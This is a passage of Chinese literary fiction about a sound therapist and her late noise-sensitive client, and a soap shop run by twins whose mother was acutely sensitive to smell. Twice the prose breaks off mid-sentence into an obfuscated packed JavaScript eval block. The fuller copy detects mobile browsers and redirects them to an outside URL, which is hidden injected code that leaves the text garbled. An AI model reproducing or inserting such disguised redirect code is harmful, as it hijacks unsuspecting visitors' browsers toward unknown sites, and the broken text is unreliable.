“罗姐遇见你,真是幸运啊,植物们都能被好好照顾”。二更说。 “我和罗姐遇见,才是我的幸运”,黎檬答。 在一片绿色之中,黎檬恍然又见罗望子。多年前,她第一次和罗姐见面时,对方状态并不算好,一眼就能看出疲倦。 那时,黎檬刚回国,在一家心理咨询所就职,闲暇时间,负责一个公益性质的音乐治疗小组。组员里有几位残障人员、慢性病的老年人,还有语言交流有障碍的人。罗姐比较特殊,她属于听觉高敏感人群,大半生饱受生活噪音困扰。小组成员全是女性,最小的20岁,最大的60多岁,在黎檬温柔的引导下,大家可以按照自己的意愿,讲述自己遇到的困境。 罗望子是第一个开始讲述的人。她从三十多岁离异后一直到六十岁,大多数时间都是独自居住的。这是一种不得已的选择。 听觉很灵敏的人,日子要比寻常人辛苦得多。比如,和人一起住这件再普通不过的事情,对她而言都很难。对方的咳嗽、隔壁房间说话的声音,都特别刺耳,让她忍不住要去关注。说得极端但诚实一些,“如果对方是一个呼吸粗重的人,他的存在就会非常明显,喘气会变成一种非常大的干扰---尽管这样说很奇怪,但,多一个人喘气,对我来说,地球真的会爆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此前,罗姐已经做过各种检查,也接受过一些治疗,效果欠佳。黎檬试着去感受老罗的困境,为老罗设计一种不同于过往,更为日常化的疗愈方式。每周,两人都会进行一次声音主题的谈话。每周,老罗都需要提交一份声音作业。这项声音疗愈持续了两年多后,罗望子的情况有了明朗的改变。此后,她坚持这份声音多年,紧绷的精神状态日益舒缓。 “真的可以彻底好了吗?”二更问。 “当然,没有。但听觉上的极度敏感带给她的痛苦,被控制在了适度的范围内。”黎檬解释道,“大概,像是,菜市场里的苦瓜吧。菜市场里一直都有,只不过,她可以绕过不买,甚至,不必绕过,不买就是了。这已经是很大的胜利了呢。” 罗望子在听觉上的极度敏感与其造成的噪音敏感,毕生难以摆脱。黎檬设定的疗愈目标是,如果,罗望子的人生注定是一座孤岛,那就这样好了。但孤岛也有不同的类型。她可以是一座被温柔海浪声包裹、保护和陪伴的孤岛。四周的海潮声,昭示了她的寂静孤独,亦是她与外界沟通的一种媒介。她可以创造有距离感的声浪链接,让人生偶尔热闹,适度降噪,大部分时间,保持安宁。 和罗姐相处了多年,黎檬也收获良多,她已经成长为一位资深的声音疗愈师。 在国外留学时,黎檬攻读的是音乐治疗。浅显地说,音乐治疗有两个方面,一个是主动性的,比如,一个人去演奏简易的乐曲或是歌唱发声,从而得到身心的疗愈。另一种是被动的,疗愈师有针对性地为来访者提供适当的音乐引领,让对方在聆听中得到放松。 在公立医院工作的时候,黎檬曾用音乐疗愈辅助治疗过焦虑症、抑郁症、自闭症病患。但这些工作开展得都比较浅显,往往只能作为其他医生的辅助,显得可有可无,至多算是锦上添花。自从罗姐出现后,黎檬在罗姐的帮助下,成立了自己的声音疗愈所,并请罗姐为其起了名字,“远志”。罗望子告诉黎檬,远志是一种小草,开紫色的小花,可以做药材,煮了喝,安神、祛痰、消肿、助眠。别看它小,它恰恰是罗望子和所有被声音困扰的听觉高敏感人群的人生良药。用对了,善莫大焉。 最初,“远志”在盘龙江边一处红顶建筑里。那朵蘑菇般可爱的球顶建筑里,藏着上世纪末千禧年流行的旋转餐厅。这些年,餐厅和楼下宾馆相继停用,换成一批艺术工作室、纹身工作室进驻。晴天时,红球屋顶倒映在在碧绿江水中,风一吹,倒影就晃动,像小朋友涂色不匀的水彩画。偶尔,一家的老的滇剧团会在江边吹吹打打,路人就是观众,观众多少,妆发都是全的。偶尔,江边还有老人家在唱歌,不好听,却让人感受到快乐。那些跑调啊,杂音啊,似乎会被滔滔不绝的江水稀释。罗望子和黎檬觉得,这样的地方,做个声音实验,甚好。 黎檬邀请罗姐和她一起制作以及体验声音疗愈会用到的一些乐器。比如造雨器,那是一段空心的树枝,里面的小颗粒沿着螺旋形的路径滑落,会产生一种很像自然雨声的声响,可以缓解人的焦虑情绪。她和老罗还一起做过一只葫芦鼓。和西南地区常见的葫芦鼓不同,这种声音疗愈中的葫芦鼓,做法是把一个葫芦切半掏空,装满水,再把另外半个稍微小一些的半个葫芦,像盖子一样的盖在上一半葫芦上面。之后,用鼓锤在上面敲鼓的时候,就会产生一种很柔和的声响。这种声响可以缓解人们对于楼房内的共振噪音的恐惧与不安情绪,比如小孩子的跑跳、重物坠落等。 在罗望子因疾病困扰的最后一阶段的人生中,黎檬曾停下了常规声音疗愈的探索,全身心地投入对于临终关怀方面的声音疗愈中,倾尽全力,让罗望子在舒缓的浪潮中,安详地关闭了最后一丝听觉。 “她走了之后”,黎檬说话的语气有些沉重,“她将这栋房子留给了我,建议我将疗愈室搬到这里来,顺势做个各方面的升级。”黎檬在送别罗望子之后,思量许久,大致决定:三层花房作为纪念罗望子的“聆听屋”,一方面,保存她的声音作业,偶尔作为疗愈室使用。二层改造为主要的疗愈工作室,一层作为公益性疗愈活动的场所。 “要去听听她留下的声音吗?”黎檬问。 罗望子留下了1500多条声音作业。它们未必都是美妙的,但都是真实且有趣的。单独播放,有些段落甚至听起来很嘈杂,“咚咚咚,锵锵锵”,让人想到某一段兵荒马乱的人生片段。但如果,闭上眼,请你调动人生快乐美好的记忆,去想象,去解读,它们可以变成动画电影里的配音,适配壮阔的、奇幻的、激荡的某个片段。比如,一位披着长披风的女侠,策马疾驰在一片开满杜鹃花的山林里。任何一条录音,在现实生活中或许是一种噪音,但换种方式,它可以成为聆听者对庸常生活的奇妙逃逸,从而适度地缓解噪音给人带来的焦虑与不适。 尚未做出回答的二更,突然闪现出一个念头,像一只小兔子突然撞进了她的大脑。她眼睛善亮地望着黎檬,问她,“要不要让更多人,猜一猜她留下的谜题?” -- 一个月后,由罗望子启发一场声浪探索,在石房子落地了。 石房子这一季的活动,原本定下了“上巳节”主题的社区活动。这场联动全市多个地点的大型活动,在石房子设置了一个活动单元,名叫“海棠画苑”。 石房子四周,十几株海棠正盛。相比樱花那番热烈奔放地给,海棠更具工笔画的古典气质。海棠的清雅则能让你想起什么个别的人、曾经的事,心中荡漾起时光隔出两岸、心念海天一色的怅惘。 海棠花海中悬挂着几只白底油纸伞。来客们可以将盛开的海棠以白伞为底拍照,定制专属的伞面,一比一复刻出一款世间独一无二的海棠伞。此为“画棠春”。 一束梨花白,在海棠花海中亭亭玉立,如一只发簪。来客们可以以此为样,用绒花仿制发簪。此为“拟桃簪”。 来客们还可以尝试用带着花瓣褶皱般的纸,做一朵几近乱真的永生纸绣球。此为“挽花球”。 或者,用压制好的干花、古典画的底样,自制拼贴画。比如,三角梅的干花压平了,玫红色褪成更沉静的朱红,舒展开的变态叶彷佛一轮圆圆的落日,加上塞外风景的古典底本,可以做出“长河落日圆”的画面。此为“落芳华”。 新加入的声音主题环节,则定名为“猜流年”。 黎檬和二更从罗望子留下的1500多条录音中,选出了60多条带有一点点迷惑性的音频。这些谜题被布置在石房子新展厅内,近百个从空中垂下的竹听筒里。来客们透过竹听筒内置的耳机,听见这些奇妙讯息。脚下,是一幅昆明主城区的地图,涵盖了老罗经常活动的范围,由金琥监工完成。他一一确认,让听筒内录音内容涉及的地点,与它下方地图上的位置精准对应。 “请您猜测,在您脚下的这个地点,罗望子女士记录了什么声音?” 来客们拿着古老的中式传声筒,聆听着罗望子留下的谜题。每个竹筒上都写着编号,听到了,猜到了,就可凭借编码去活动处验证。 猜中的,恭喜,这世间多了一个心有灵犀的故事;答错了,别介意,就接受这个世界有你还不知道的奇妙吧! 12. 第八课(上): 朱瑾 站在香气的正中间 01 西瓜切开时的味道 自从石房子开展之后,就有很多之前完全没有想到的互动形式产生。除了常规的纸质留言板和电子留言区,石房子有一面大白墙,成了文明版本的到此一游,不少人留言。 有一名署名为李商隐的游客,留下了“要把人民的展览办好。”有人留下字体歪歪斜斜的感叹,“永恒的创造,短暂的生命”。另有人在旁边留言,“读罢泪沾襟”。还有人写“附议”。不过这之中最醒目的还是保安小吴写下的“严禁掰竹笋,已经打药,违者罚款”的告示。 没办法,自从罗望子的活动引入了人流,很多年轻人都喜欢上了石房子周边的这一处环状的小花园,小竹林更是吸引了一众爱掰笋的爷爷奶奶,小吴只得连夜打药。 此刻,二更站在石房子的二楼,望向窗外那棵很大的海芋,它已过一个人高,是从地缝里自己硬长出来的。陆均松在修整花园时执意留下了它,又在它下面栽了几株金黄色的地涌金莲。朵朵硕大的金莲,从开春一直到初冬,一如既往地金光灿烂,不让独个的海芋寂寞。石房子的二楼有几间房间,陆均松安排做了展览工作人员的办公室。其中一间视野很好,刚好能瞧见石房子的入口,被辟为二更、姜籽和老延的专属工作室。既然设立了,二更自然要时不时过来点个卯。 门卫室的一通电话打来,“有人给你送了一块肥皂。哦不是,香皂”,小吴在电话里说。 二更不意外。 十分钟前,她站在窗口向外望,刚好看见一个身材高挑的卷毛年轻人走进小花园。他没有进展馆,在花园里晃悠了一圈。他在一棵又一棵植物前停下,昂起头,什么都不做,似乎是在观察它们的花叶,又似乎在嗅它们的味道。 按陆均松的偏好,石房子里低声放着舒缓的古典乐。男孩进院子时,刚巧响起了柴可夫斯基的乐曲,《胡桃夹子》作品71a:花之圆舞曲。二更从窗框里看着男孩的大长腿在一片青草绿中优雅地迈来迈去,如同在回放她小时候看过的动画片《秘密花园》里的画面。她看得入迷。男孩在花园里走完了一圈,径自走向门卫室,似乎是在询问什么事情,又掏出了一个小包裹留下。之后,这位优雅的青年就离开了。 男孩留下了一块香皂。“挺好闻的”,小吴说,“下面有一个地址,是一家香皂店。” 这是一块粉红色的香皂,重庆产的黄角兰香皂。包装盒是简易的纸盒,上面印着一位卷着古典烫发的女郎,在几十年前,她的形象可谓摩登,如今看来,也依旧美得很复古。肥皂的气味并不香甜,但清雅,是老一辈人面霜的那种清雅。二更记得,姥姥用的香皂就是这种类型。 皂盒里有一张很小的明信片。有人用越来越小的字写道:这是母亲香皂店里最畅销的一款香皂。母亲一生前许多年,都是独自生活。母亲去世后,我们姐弟接手了这家店,决定继续经营下去。欢迎您来看看。 这是二更这几年看过的最好看的字了,柔且有力,骨架均匀,笔画之间无比融洽,像一棵树型极好的河边柳树。署名的人,叫白薇。二更猜测,白薇似乎是明信片中提及“姐弟”中姐姐的名字?而少年,应当是白薇的弟弟吧。一家经营着香皂店的姐弟。怪不得,少年逛花园的方式,是嗅一嗅每一棵树。 二更决议,这个傍晚就去看看。 樱花季过去有段时间了,风干的落花仍有可能在一些台阶边角停留。树上,无论是红叶李、樱桃树,都新坠上了一串又一串果子,青红黑紫,日光既晒出了果子不同的生命历程,也给它们均匀地涂了一层亮油。桃树也开始结果,青桃相间,像羞涩的少女低下的半张脸。最好看的是正当红的果子,晃悠悠的,像点在空中的一颗颗童子痣。 二更起身走出石房子的时刻,傍晚时分,悬在空中的童子痣似乎更美了。晚风,已经有了昆明夏夜的经典气质。 这是二更尤为偏爱的季节。很多人觉得夏季是昆明一年之中最无聊的时间段,山茶花绽放在冬季,水杉一池红色倒映青睐着秋季,樱花、葱花、杜鹃、蓝花楹接力在春天,让随之而来夏季略显平淡。 好在,夏夜有风。不同于秋冬季从早到晚的高原大风,夏夜的风往往从傍晚开始柔柔地吹。它松开人的头发,你会感觉头发会变成水草,绿色的,一丝一丝在干爽的空气中舒展地飘,像跟着水流舞动一般。它又总是整齐的,不像干季的狂风那般任性,吓得人如游鱼四处乱投。它一心一意地缓缓朝着一个方向吹,渡得人如一条长大了的鱼从容游入了熟悉的河流。 她感受到了温柔的水流。盘龙江边,人们撸起小腿的裤管,拿起小篓子、铲子,一边淌着浅水走,一边用头戴式照灯寻觅水中的小鱼小虾。当你站在桥上往江水看,带着头灯的人们像飞舞在林间的萤火虫。即便是哪个人身形健壮,它也不再像人类,而是变得像夜鹭。这样的夜晚,人似乎少了,水光开始让人联想到童年乡间的月光,白得照亮内心。 她感受到了夏季昆明人和雨的一场游戏。从每年6月份,昆明进入雨季,与之而来的不仅有山野中冒出头的鲜菌子,还有介于淘气与懂事之间的雨。说它懂事,因为她让春城长期浸润在水汽之中,但不过分潮湿。一天之中总有几个小时的阴天甚至晴天,方便人们行动。最懂事的时候,雨会下在傍晚、深夜或是凌晨,不耽误人上、下班出行。整体以阵雨居多,很少有连绵阴雨让人难以喘息的情况。于是大多数年份里,昆明人对夏季的雨,有一种亲近的把握和信任。若有一朵云哭了,就等一等,等头顶上这朵哭泣的云慢慢哭完,还有蓝天白云。人们有一种哄孩子的心态,随身带把伞就是了。说它淘气,是因为也有那么几天,雨来得十分着急,前一秒还是多云,下一秒就突然呼呼大雨,这就连累了那些晒在室外的菌子、辣椒、萝卜干。万一收得不及时,就要前功尽弃了。当然,这种游戏,仅限于常规的雨季。若哪一年它罕见地变了脸,哄不回来,也能下足三、四个月的阴雨。 总而言之,平均气温很少超过25、26℃的夏日,是很宜人的。夏夜来临之前,一个人迎着晚霞,走进夜里,走进温柔而清爽的风,去做一件有趣的事,简直是对人生天大的奖励。 何况,风还是有香气的。二更将黄角兰香皂褪去了包装,揣在口袋里,揣手就能摸到。 正中间香皂店,到了。果然,是它。 二更记得这家店,昔日一晃而过,有过深刻印象,只是一直没有走进去过。这名字起得实在特殊,但二更猜测,或许和周边的两家店有关。一家叫柔嘉,是一家社区里的老式副食店,卖些烟酒糖茶。店主老家的春茶、红糖、糕饼时常摆在门口。店门口还有一只小狗,带着它的三个玩够娃娃每天晒太阳。旁边一家也是副食店,叫落羽,店门口常放着几十盆花草,为防止偷盗,还安装了摄像头。四个台阶上的花草时常变换位置,让天竺葵、芦荟、虎刺梅、波士顿蕨和几盆多肉轮流得到均匀的光照。落雨时,它们会被店主一起搬出来到路边,过一过雨水。 这一带的店铺,不少店已经开了十几、二十年,一直安安静静的,店招就是唯一的广告。服务街坊的同时也能养活自己。每家店都有自己的经营之道。一家春城开得很早的老水晶店,没有套路,转盘式挂钩上,几百个手串闪着斑斓夺目的光,在水晶火热的这一两年,价钱还是一如往常。另一家春藤百货店里,时不时往来六十多岁的老人家,买鱼戏莲叶间的门帘,买小痰盂,买老味道的雅霜。店里还有二三十年流行的挂历纸手编门帘。这种门帘是用旧挂历撕成条缠成的,每一个小珠子都是中间鼓两边瘪,像一个小纺锤,几百个纺锤用小铁丝相互够连起来,要说它流行的年代,得往前数个三、四十年了。这家店铺保留了许多这样的物件,不仅是展示,仍在小批量售卖。店主是几位阿姨,每天不慌不忙,按喜欢选货卖货,甚至有时候,会撵一撵自己不太喜欢的客人。 不少店铺都是夫妻档,或是一家老小轮流看护,时常能看到小朋友支个小桌子,在店门口写作业,或者一家人在店门口做饭、吃饭。二更记得,她有次从这里路过,走进一家夫妻小卖部买水。老婆正在质问丈夫,“那条链子是给谁买的?”。丈夫支支吾吾,说不出话来。气氛有点不对,二更本打算退出,但老婆还是神速结了账,丝毫没有耽误生意。那家店的绿萝枝条很长,从收银台开始随着挂钩向上,贴着天花板爬行许久,一直延伸到另一面墙的门口,还在争取往门外探头。这样的老街老店,本身就会给人一种走入黄昏的氛围感。 最近,老店铺们看起来规整了不少。 去年,这片社区空中修筑了一条连接起翠湖与昆明老街的栈道。游客们从翠湖的黄公东街走上栈道,避开脚下车流密集的公路,路过各色云南口味的咖啡店,从空中漫步,直达抗战纪念碑与昆明老街一带。途中,人们能在二、三层楼的高度,在不同季节近距离地看到银杏的果子、悬铃木的果球、香樟的花,蓝花楹如葡萄串般的花束。 现在,走上栈道的二更,细细瞻仰着一棵高大的刺桐树。昆明的鸡冠刺桐很多,灌木或者小乔木,不高,亲人,散步时就可以细细观看。但刺桐花是高大乔木,三、四层楼高,想要一睹艳红的刺桐,通常需要把手机距离调高。有了栈道,刺桐就像一个高傲的骑士终于肯低头来了仰慕他的公主面前。栈道中段,沿着旋转楼梯走下,墙面装饰着粉叶合果芋、矾根、七彩竹芋。再往前,是一棵香樟树,花季已过,仍存留着一些清淡的香气。 走下去,就是正中间香皂店了。 它的位置恰在栈道的“中点”。不只是距离上,也是风格上的。正中间以东,多是社区老店,杂货店、副食店、阿姨经营了十几年的理发店,以西,新开了符合年轻人审美的文创小店、蛋糕店、糯香茶饮店。糯香茶散发着小狗小猫脚丫子的味道,上头的人闻着味就过去了。 入夜时分,香皂店在仍然热闹。门口卖茉莉花的婆婆,吃过晚饭又回来出摊。香气浓郁的小朵茉莉花被串成的项链和手链,青白之间的香气与婆婆头上的多彩刺绣方巾,成了正中间香皂店的天然招牌。时不时就有游客被吸引,走入店铺。 “我其实希望店里安静一点”,白薇说。写明信片的女孩,出来迎接二更。她看起来二十四、五岁,垂直长发齐肩,圆脸,杏仁眼,身上系了一只墨绿色的工作围裙。 不久之前,一档旅行类的综艺节目中,一位男演员展示了自己的旅行三件套--一块看起来有点可怜的小香皂,不足拳头大。还有一位女喜剧演员出身的女演员,也在综艺节目中分享自己的护肤心得,说自己卸戏曲妆从来只用香皂。从去年年底,正中间香皂店就开始被这两波风潮轮流带热了,每天客流量蹭蹭往上涨,来到还都是年轻人。 白薇指了指店里最深处的一间工作室,男孩背着身在做一款手工皂,隔着一段妥善的距离,工作室周围围了一圈女孩子,眼里似都冒着金花。大家在轮流传递着一个柠檬黄颜色的便签本,每个人都撕下来一张,在本子上写些什么。 这便是今天去送香皂的男孩子,白岑。 “他不喜欢说话,人多了,更不喜欢。所以工作室旁边放了一打便签纸,客人们把定制的需求写在纸上,他如果有沟通需求,也大多拜托我再去确认。”白薇解释道,“尽量不让彼此开口说话。所以呢,坊间传说,小哥哥好看,可惜是个哑巴。” “他不介意?”二更问。 “不介意。他嘛,首先,有些社恐,其次呢,他对气味很敏感,有时候会碰到口气不太好或是身上香水味太冲的客人,自己为难,又怕冒犯到别人。现在好多客人都是年轻女孩,你也知道,现在好多女孩子节食,肠胃不好,口气挺重的。”白薇叹了一口气,“其实,女孩子身材健康就是好看的,对吧?现在呢,我们处在一个有些尴尬的位置了,来的女孩子越来越多,哑巴小哥哥的事,我倒也不好意思戳破了。好在,他应该不会露馅。” 白薇提议,先带二更在店铺转转。两人在一楼的商品柜之间,行云流水般地穿行。货架柜台码得很整齐,每一款香皂都不同,打眼一看,有种和百货店相似的五颜六色的复古繁华感。店里的香气,浅浅的,有意无意地浮动着,你想靠近,它又躲开。不似任何一家商场的香气,明晃晃地让你嗅。有香气的香皂都被收纳好了,包上了老式的外包纸,互不打扰,人走近了,刻意靠近,才能嗅到它们各自的气息。 二更产生了两个奇妙的感受。香皂的包装,让她想起小时候收藏过的闪亮的糖纸,以及抚平那些糖纸时珍视一种小巧事物的感受,她顺带着回想起许多自己小时候喜欢的、珍视过的许多如今不值一提的小物件,比如,某个透明色的玻璃球?此外,尽管一楼展柜数量不少,人走在其间,却似乎能自动识别出一条活泼的动线,人会变成一条鱼,自由自在地行动,如同走入了晚风。 “去年人流量多了,我们凑着年底隔壁栈道施工,短暂地闭店,重新设计了店面。我弟找了一群小学生来玩,在店里丢了几个超市购物物车,让它们随便移动货柜和购物车。他以购物车停留位置的底本,设计了展柜的摆放位置。”白薇介绍道。“效果还不错,对吧?现在,一楼主要是一些经典香皂的展示,以及我弟的工作室,二楼有手工皂体验区,还有线香塔香、香薰蜡烛、香囊的制作区域,要不要去看看?” 二更跟着白薇往最里处的楼梯走,上了二楼。白薇将二更安置在一处能看到香樟树的窗前,又端来两杯番石榴茶,一杯递给二更,一杯留给自己。“我弟喜欢这个味道。他对味道,和我妈一样敏感。你试试看,喜不喜欢。” 是芭乐闻起来的味道,二更啜饮一口,不是芭乐吃下去的味道。她拿着杯子细看,茶包里是番石榴的枝与叶制成的细小碎片。 去送信物,是姐弟俩一时冲动的决定。她们觉得,自己的母亲也值得被看到。尤其是白薇,她年少时对母亲一度不理解、误解,甚至产生过少女时期天真的仇怨。毕竟,朱槿“抛弃”两姐弟时,她们还很年幼。她是个狠心的母亲,这一点,找不了任何借口。但成年后,作为一个女性,她又开始缓慢地,理解了母亲。在此后母亲的漫长和解与相处中,白薇拼凑出了朱瑾的故事。 -- 那年,她才两岁。 朱瑾离开家时,是决绝然的,也并不光彩。她像一个狼狈的兵,落荒而逃。那时她的状态很差,被混乱的气味彻底击垮了。 朱瑾是一个对气味很敏感的人。像一个动物,她对这个世界有非常有明确的边界感。所谓边界,并不是因为好与坏或者关系的亲疏而定的,是依靠气味。 她可以闻到远距离的不同气味,能闻到人类身上不同的气味。这不只是男性的油脂分泌与代谢比较快产生的味道,或是谁不小心放了几个屁、一晚上没刷牙的味道,她觉得,人本身就有不同的气味,身体发肤的天然气味、身体与精神健康情况所反映出的气味,叠加在一起,每个人都有复杂的气味。 在没有生育之前,朱瑾敏锐的嗅觉像是乱糟糟的幼儿园,虽然吵闹,但她勉强可以忍受,无非是活得不快乐罢了。毕竟,她认为人类世界就是需要幼儿园,对吧?她一直如此说服自己,刻意地不去注意。她会用香皂的味道来安抚自己。 朱瑾还是个年轻女孩的时候,街上流行一些国产香水,玫瑰味,绿茶味,薰衣草味。过得好的人已经能出国旅游,还会特意带回来一些法国香水送给她。她试过,都不喜欢,绕来绕去,还是用回了最简单的香皂,桂花香气的,栀子花香气的,柠檬香气的。香皂洗完之后很干净,让人联想到一些洁净又单纯的感受,比如被子很暖和、篝火在燃烧,鹅毛大雪下在保暖密封做得很好的窗外。 打破这种平衡的,是生育。大崩溃发生在朱瑾生完孩子之后。 很多女性在怀孕时,五感的敏感度会突然放大。女性在怀孕后,身体各项机能会因雌激素的变化而产生变化。一些孕妇的鼻子比动物还灵敏,比如,隔着几百米就能闻到刺鼻的烟味,比如邻,居在隔了挺远的厨房做饭时,她能闻到厨房里用的事花生油还是调和油。客观而言,这种突发的敏感对胎儿具有一定的保护作用。 朱瑾在怀孕时,嗅觉反而没有那么敏感,相反,一度退化。这让她放松了警惕,一度乐观地以为,自己的人生开始走向正常人的嗅觉正规。何况,她怀的是一对让人无比欣羡的龙凤胎。她甚至乐观地判定,这是人生给她的某种补偿。可惜,事与愿违。自从顺产后,一股无比浓重的血腥味冲破了她的嗅觉系统,一时间,所有味道都被放大了1000多倍,报复性地向她袭来,像是在讨要孕期被回避掉的关注度。 这场突袭远远超过了她生理与心理能够承受的程度。自从生育后,她虚弱的身体不仅要完成一日多次的母乳与时刻照看孩子的任务,还因嗅觉的残酷突袭,承受了巨大压力。她在极大的焦虑情绪下,产生了严重的躯体反应。她每晚失眠,即便入睡,也时常被噩梦惊醒。她时常梦见旁边睡着的丈夫、孩子突然变成了腐尸,她在梦中似乎也能感受到嗅觉上的强烈刺激,醒来后,心理上恐惧在暗夜汹涌而来。而她必须克制,不让这种恐惧影响到身边的一双孩子。 就像是每天超过双耳承受能力的尖叫声在耳边狂浪般翻涌,由嗅觉产生的生理上、心理上的痛楚,与生而为母的责任相互拉扯。她每日都在煎熬。但没有一个人理解她。她试过倾诉,但无论是对丈夫、婆婆还是妈妈,她收到的回应,首先是不解,接下来必然是指责,“谁不是这样过来的呢?”“就你娇气!”“你在说什么鬼话,我一句都听不懂!”“你是不是精神有问题?谁家儿媳像你这样?”“累了吧,休息一会儿就好了”。 起初,朱瑾的方式是忍耐,一忍再忍,忍耐产后恶露、漏尿的味道,忍受孩子身上的奶香味--这样说,更让她痛苦,这是很多母亲深爱的味道啊!忍受医院里消毒水的味道,忍受给孩子换尿布的味道,忍受自己身上因为健康状态持续不佳所散发出的腐败气息。二、三十多年前,人们对心理健康的关注尚不深入,对心理问题的正确认知尚未普及。朱瑾只能用反复的自我否定来“安抚”自己,让自己变得“正常”,这又极度加剧了她的痛苦与焦虑。人生,陷入一个无解的闭环,她不断地陷入深渊,每一天,都比往日更深一寸,始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294815|198549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终拔不出来。 这对让人羡慕的龙凤胎长到两岁时,她的自我质疑与忍耐临近了极点,身体早已不堪重负。她甚至一度嗅到了自己的“死气”。不能再如此继续下去了。 她做了大逆不道的选择:离开家庭。一个寻常的夜里,她收拾了简单的行囊,离家出走。 她走得很安静,但这件事一下子炸开了锅。流言蜚语不断。有人说,想不明白,只有生完孩子男人发现不是自己的种,离婚弃子而去的,女人为什么要走?更何况,婆家家境还不错。有人猜是夫妻吵架或者婆媳失和,没准过一段时间就回来了。 女人的确回来了,但那是在三年之后。婆家不接,娘家不接,丈夫已宣告和她事实离婚。 又一时,流言蜚语不断。与人说,她当年跟着跑的男人不要她了,半路被抛弃,有人说,着女人就是离不了男人,于是又回来找了。 再难听,女人也不在意。 她在家附近的地方租个了院子,做起小生意,卖香皂、香水、沐浴露、洗发露。样子时髦,香气多样,香气带着她闯出了流言蜚语。渐渐地,小店成了周边最叫得上的洗化店。赚到的钱,一半经营店面,养活自己,一半都交给了一双孩子的奶奶,用给孩子的吃穿用度。说来也是造化弄人,这双孩子的父亲在朱瑾回来后一年,就因车祸去世了。孩子的成长除了靠奶奶家的积蓄,就是靠妈妈的店增补了。 在孩子奶奶的心理,前儿媳、孩子的妈,好歹算是回来了。儿子离世,虽有两个女儿,但都已外嫁,一个在广东,一个更远,去了北方。她不得不和归来的儿媳相依为命。好在,这儿媳虽然怪了点,也不和孩子一起住,但赚得钱除了打点店面,都放回了这个又以奇怪的姓氏粘起来的家。 一连数年,孩子的奶奶渐渐开始重新接受了这个儿媳。接受她“鼻子有点毛病”,接受她“身体不太好”,接受她“她喜欢安静”。奶奶的口风,渐渐变了。最后,奶奶和白岑的口径统一了,“你妈妈这个人,有点特别,就是特别好静,闻不得太多的味道”。停在这个说法上,奶奶不再动摇了。 “我还是很别扭的,一个没妈的孩子,小时候受过多少流言蜚语,她即便回来了,我也很难不恨”。白薇坦诚地回忆道,“我被迫理解了我妈,和我奶一样,我们都是因为我弟。 有一天,我弟和我说,那个同学闻起来像个不新鲜的茄子,还有个同学闻起来像桉树,还有那个谁,闻起来是西瓜切开时候的味道,挺好闻的。 我把这件事当个笑话,讲给了奶奶听。我奶奶说,他在说谎吧?我立马站起来,斩钉截铁地说,我弟弟从来不会撒谎。他从小和我一起长大,从来没有对我撒过一次谎。他一定是闻到了!我永远忘不了奶奶看着弟弟的表情,彷佛天破了一个洞。” 奶奶在那天,开始懂了,为什么自从白岑从上幼儿园开始就经常睡不好。那时,孩子小,说不出个所以然。直到上了小学,按大人的说法,‘开始渐渐懂了事’,他才会开始和她说,闻到不好的味道,会睡不着。随着白岑渐渐长大,可以理解更多人事,并且用简单的语言表达出他的感受尤其是嗅觉,白岑身上追随朱瑾所展现出的嗅觉敏锐度与其他的人生触感,被奶奶和白薇逐渐发觉了。 “我嗅觉一般,但直觉还不错。我渐渐发觉,这个家里四个人,弟弟和奶奶都开始理解我妈了。弟弟是天生就理解,奶奶,是因为弟弟的反应,先是产生了恐惧的联想,之后无可奈何之间,接受了一个事实:一个嗅觉敏锐的母亲生出来的儿子,很遗憾,和她很像。 看到奶奶那种天破了一个洞的复杂表情后,第二天,我去了我妈的家,也是她的店。那是我第一次主动去找她。店不大,就是我们小时候开在街边的那种普通的小卖部的样子。快走进去时,就能闻到香皂的味道。这家店像是被一个香泡泡裹起来了一样。香气,有桂花香、茶香、薰衣草香、薄荷香、苹果香、柠檬香、松柏香,基本上都是植物的味道。 我弟弟,早就常来这里了,他可以在这里呆很久,说这里的味道干净,他喜欢,觉得浑身上下都很舒服。可我闻不到。我当然气馁。然而,我从气馁之中,我对母亲和弟弟开始尝试去理解。” 从白岑、白薇七岁开始,一家四口就一起吃饭了。之前,一日三餐也都是朱瑾买好了送过来,只是那时碍于和女儿、奶奶的关系尴尬,她只送饭,不留人。她开着一家有香气的店,平时就睡在店里。她不再畏惧别人说什么,店名,后来改了,就叫正中间,不怕显眼,一个因为嗅觉害怕这个世界的人,也可以站在香气的正中间,面对这个世界。她的钱没少给孩子。白薇、白岑小时候用的东西总是最新鲜的,最流行的铅笔盒、最好看的笔、最新奇的涂改液和转动笔。物质上从未亏待,陪伴也是没少的,接送孩子,送饭做饭,包括去家长会。她只是不在家里长住,睡觉时回自己的店铺。除此之外,她与一位尽职的母亲倒也无大差别。 在那之后,白薇对母亲的感受,总是带香气的。 她的头发乌黑,一直用侧柏叶的肥皂洗头,有一种中性的木质香气。她喜欢吃云南的茴饼,喜欢小茴香做饭的独特香气。她喝水也喜欢有点味道,菊花、陈皮、玫瑰,很多做饭的香料会变成代茶,比如肉桂、木姜子、折耳根、还有番石榴茶泡水。她甚至会自己做木姜子香薰、番石榴香薰,不是所有人都能受得了,她只自己用。她出门总是喜欢带小桔子,剥开,不吃,大多数时候,剥开了都是分给别人吃。这样可以迅速地把周边的味道变成小桔子的清新味道,橘子皮收好,一路带着。朱瑾老了,也是个腿脚很好的人。走在路上,如果遇到什么不好的味道,比如烟味或者浓重的异味,她的脚步就会突然加快,急速往前走,看起来彷佛有了什么急事。 